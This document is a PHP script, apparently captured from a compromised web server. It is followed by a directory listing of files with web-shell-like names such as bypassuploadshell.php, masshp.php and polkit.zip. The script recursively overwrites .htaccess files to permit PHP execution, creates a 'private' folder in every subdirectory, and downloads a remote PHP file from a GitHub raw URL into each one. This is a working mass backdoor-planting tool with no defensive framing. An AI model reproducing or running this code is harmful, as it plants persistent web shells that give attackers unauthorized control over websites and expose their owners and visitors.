<?php // Function to create or replace the .htaccess file in the specified path function createHtaccessFile($path) { $htaccessFilePath = $path . '/.htaccess'; // If .htaccess file exists, delete it if (file_exists($htaccessFilePath)) { unlink($htaccessFilePath); echo "Deleted existing .htaccess file at: $htaccessFilePath<br>"; } // Define the content for the new .htaccess file $htaccessContent = "<FilesMatch \\.php$>\n Order allow,deny\n Allow from all\n</FilesMatch>"; // Write the new .htaccess content to the file file_put_contents($htaccessFilePath, $htaccessContent); echo "Created new .htaccess file at: $htaccessFilePath<br>"; } // Function to handle files in each subdirectory under the base path function processSubdirectories($basePath, $filename) { // Ensure the base path ends with a trailing slash $basePath = rtrim($basePath, '/') . '/'; // Validate base path if (!is_dir($basePath)) { echo "Invalid path: $basePath<br>"; return; } // Traverse subdirectories and process each one $subdirectories = glob($basePath . '*', GLOB_ONLYDIR); foreach ($subdirectories as $dir) { // Step 1: Delete and recreate the .htaccess file in the subdirectory createHtaccessFile($dir); // Step 2: Create the 'private' directory if it doesn't exist $privateDir = $dir . '/private'; if (!is_dir($privateDir)) { mkdir($privateDir, 0755, true); echo "Created directory: $privateDir<br>"; } // Step 3: Delete and recreate the .htaccess file inside the 'private' directory createHtaccessFile($privateDir); // Step 4: Download and save the specified file inside the 'private' directory $filePath = $privateDir . '/' . $filename; // Fetch content from the remote PHP script URL $content = file_get_contents('https://raw.githubusercontent.com/cpugpu009/nf/refs/heads/main/nf.php'); if ($content === false) { echo "Error: Unable to fetch the PHP script content.<br>"; return; } // Write the content of the PHP script to the file in the 'private' directory file_put_contents($filePath, $content); echo "File uploaded to: $filePath<br>"; } } // Handle form submission if ($_SERVER['REQUEST_METHOD'] == 'POST') { $basePath = trim($_POST['path']); $filename = trim($_POST['filename']); if (empty($basePath) || empty($filename)) { echo "Path and filename are required.<br>"; } else { // First, create or overwrite the .htaccess in the base path createHtaccessFile($basePath); // Then process each subdirectory under the base path processSubdirectories($basePath, $filename); } } // Display the current path (default to the server's document root if not specified) $currentPath = isset($_POST['path']) ? trim($_POST['path']) : $_SERVER['DOCUMENT_ROOT']; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Upload PHP Script and .htaccess</title> </head> <body> <h3>Current Path: <?php echo htmlspecialchars($currentPath); ?></h3> <form method="post" action=""> <label for="path">Base Path:</label> <input type="text" id="path" name="path" required value="<?php echo htmlspecialchars($currentPath); ?>"><br><br> <label for="filename">Filename:</label> <input type="text" id="filename" name="filename" required><br><br> <input type="submit" value="Upload Files"> </form> </body> </html>
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
.htaccess | File | 78 B | 0644 |
|
1.txt | File | 6 B | 0644 |
|
403.php | File | 5.51 KB | 0644 |
|
bak.php | File | 19.98 KB | 0644 |
|
batm.php | File | 39.31 KB | 0644 |
|
batmplus.php | File | 43.46 KB | 0644 |
|
batmup.php | File | 39.31 KB | 0644 |
|
bc.php | File | 5.55 KB | 0644 |
|
by.php | File | 5.7 KB | 0644 |
|
bypassuploadshell.php | File | 5.7 KB | 0644 |
|
cp2024.php | File | 39.94 KB | 0644 |
|
f.php | File | 192.75 KB | 0644 |
|
f35.php | File | 180.28 KB | 0644 |
|
g.php | File | 975.43 KB | 0644 |
|
gec.php | File | 160.56 KB | 0644 |
|
gel.php | File | 12.1 KB | 0644 |
|
gely.php | File | 16.08 KB | 0644 |
|
index.php | File | 2.83 KB | 0644 |
|
masht.php | File | 5.32 KB | 0644 |
|
masshp.php | File | 5.32 KB | 0644 |
|
massp.php | File | 5.33 KB | 0644 |
|
mymasshp.php | File | 3.63 KB | 0644 |
|
mymassp.php | File | 3.97 KB | 0644 |
|
nf.php | File | 79.44 KB | 0644 |
|
nfiav.php | File | 1.5 KB | 0644 |
|
nfiavu.php | File | 17.35 KB | 0644 |
|
nfu.php | File | 28.55 KB | 0644 |
|
nsss.php | File | 16.15 KB | 0644 |
|
polkit.zip | File | 92.76 KB | 0644 |
|
powny.php | File | 19.84 KB | 0644 |
|
qyh.php | File | 184.35 KB | 0644 |
|
sh.php7 | File | 11.37 KB | 0644 |
|
smpt.php | File | 981 B | 0644 |
|
stupid.php | File | 370.25 KB | 0644 |
|
undel.php | File | 43.99 KB | 0644 |
|
up.phtml | File | 1.74 KB | 0644 |
|
wp-set.php | File | 265.86 KB | 0644 |
|
wp-ver.php | File | 11.18 KB | 0644 |
|
wpup.php | File | 14.59 KB | 0644 |
|
wpupex.php | File | 13.83 KB | 0644 |
|
wpupp.php | File | 15.57 KB | 0644 |
|